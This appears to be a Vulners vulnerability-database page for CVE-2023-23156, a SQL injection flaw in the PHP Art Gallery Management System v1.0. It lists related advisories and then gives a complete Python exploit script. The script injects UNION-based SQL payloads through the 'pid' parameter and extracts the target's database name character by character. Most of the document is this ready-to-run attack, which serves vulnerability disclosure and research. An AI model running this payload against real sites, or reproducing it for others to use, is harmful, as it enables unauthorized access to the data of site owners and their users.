| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Art Gallery Management System Project in PHP v 1.0 - SQL injection Vulnerability | 6 Apr 202300:00 | – | zdt | |
| CVE-2023-23156 | 27 Feb 202316:15 | – | attackerkb | |
| CVE-2023-23156 | 6 Apr 202300:00 | – | circl | |
| Art Gallery Management System SQL注入漏洞 | 27 Feb 202300:00 | – | cnnvd | |
| CVE-2023-23156 | 27 Feb 202300:00 | – | cve | |
| CVE-2023-23156 | 27 Feb 202300:00 | – | cvelist | |
| CVE-2023-23156 | 27 Feb 202316:15 | – | nvd | |
| Sql injection | 27 Feb 202316:15 | – | prion | |
| PT-2023-18863 · Unknown · Art Gallery Management System Project | 27 Feb 202300:00 | – | ptsecurity | |
| CVE-2023-23156 | 23 May 202502:36 | – | redhatcve |
# Exploit Title: Art Gallery Management System Project in PHP v 1.0 - SQL injection
# Date: 31-01-2023
# Exploit Author: Yogesh Verma
# Vendor Homepage: https://y0gesh-verma.github.io/
# Software Link: https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/, https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip
# Version: 1.0
# Tested on: Windows/Linux
# CVE : CVE-2023-23156
#!/usr/bin/python
import sys
import requests
tmp = requests.Session()
db_name = ""
database = ""
if len(sys.argv) == 2:
url = sys.argv[1]
for i in range(1, 7):
for j in range(32, 126):
sql_payload = f"'UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select*from(select (ascii(substr(database(),{i},1))={j}))a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL'"
data = {'pid': '-1' + sql_payload}
r = tmp.get(url, params=data)
if "Dimension : 1" in r.text:
db_name += chr(j)
database += db_name
if len(db_name)>1:
print('\n'+"Fetching current database :")
print(database)
print('\n'+"vulnerable to CVE-2023-23156")
else:
print("Not vulnerable to CVE-2023-23156")
else:
print("Error: Please provide the URL as an argument.")
print("Example: script.py https://example.com/single-product.php")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation